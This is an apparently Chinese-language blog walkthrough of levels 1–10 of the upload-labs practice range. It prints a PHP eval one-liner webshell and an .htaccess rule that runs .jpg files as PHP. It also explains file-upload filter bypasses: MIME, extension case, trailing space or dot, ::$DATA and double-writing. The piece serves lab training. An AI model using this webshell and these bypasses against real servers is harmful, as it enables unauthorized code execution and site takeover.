upload-labs靶场:1—10通关教程

目录

[Pass-01(JS 验证)](#Pass-01(JS 验证))

Pass-02(MIME)

Pass-03(黑名单绕过)

[Pass-04(.htaccess 绕过)](#Pass-04(.htaccess 绕过))

Pass-05(大小写绕过)

Pass-06(空格绕过)

Pass-07(小数点绕过)

[Pass-08(::DATA 绕过)](#Pass-08(::DATA 绕过))

Pass-09(小数点和空格结合绕过)

Pass-10(双写绕过)


下载地址:GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场

1.php 内容:

复制代码
<?php @eval($_POST[cmd]);?>

Pass-01(JS 验证)

复制一个 php 文件,重命名 1.jpg

复制代码
<?php @eval($_POST[cmd]);?>

上传,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经过了前端,所以前端校验就会失效),后缀改为php

右键复制图像链接

用蚁剑测试链接

Pass-02(MIME)

提交 抓包 修改后缀为 php

Pass-03(黑名单绕过)

查看源码, 不允许上传.asp,.aspx,.php,.jsp后缀文件

修改 httpd.conf 文件中的这行代码,把前面的#去掉

抓包 修改后缀为 php3

Pass-04(.htaccess 绕过)

黑名单过滤太多,使用 .htaccess 绕过,内容如下,先把 .htaccess 上传,再上传 1.jpg

复制代码
<FilesMatch "jpg">
 SetHandler application/x-httpd-php
 </FilesMatch>

Pass-05(大小写绕过)

查看源码, 上一关的.htaccess文件也过滤掉了,发现没有过滤大小写,本关就用大小写绕过

上传 1.php 一句话木马,抓包修改后缀

Pass-06(空格绕过)

查看源码,大小写被过滤,没有过滤空格,就用空格过滤

上传 1.php 一句话木马,抓包,后缀加一个空格

Pass-07(小数点绕过)

查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤

上传 1.php 一句话木马,抓包,后缀加个小数点

Pass-08(::$DATA 绕过)

查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤

上传 1.php 一句话木马,抓包,后缀加 ::$DATA

连接时删掉 ::$DATA

Pass-09(小数点和空格结合绕过)

查看源码,::$DATA 也被过滤,使用结合过滤

上传 1.php 一句话木马,抓包,后缀加 小数点 空格 小数点

Pass-10(双写绕过)

查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过

上传 1.php 一句话木马,抓包,修改后缀

相关推荐
Guheyunyi3 小时前
智能守护:视频安全监测系统的演进与未来
大数据·人工智能·科技·安全·信息可视化
sunguang20183 小时前
“懂不懂管理,一看便知”:做管理就是3件事,抓大、放小、管细做管理,其实就是要做好三件事:抓大、放小、管细。
经验分享·职场和发展
哲伦贼稳妥3 小时前
职场发展-遇到以下情况请直接准备后手吧
运维·经验分享·其他·职场和发展
Traced back4 小时前
WinForms 线程安全三剑客详解
安全·c#·winform
汉堡包0014 小时前
【网安基础】--内网代理转发基本流程(正向与反向代理)
安全·web安全·php
西瓜程序猿4 小时前
传统礼簿收礼小工具:记了么,解决纸质收礼记账痛点
经验分享·测试工具·程序人生·全文检索·交友
桌面运维家6 小时前
vDisk VOI/IDV权限管理怎么做?安全方案详解
安全
世界尽头与你6 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
孞㐑¥7 小时前
算法—队列+宽搜(bfs)+堆
开发语言·c++·经验分享·笔记·算法
xixixi777777 小时前
今日 AI 、通信、安全行业前沿日报(2026 年 2 月 4 日,星期三)
大数据·人工智能·安全·ai·大模型·通信·卫星通信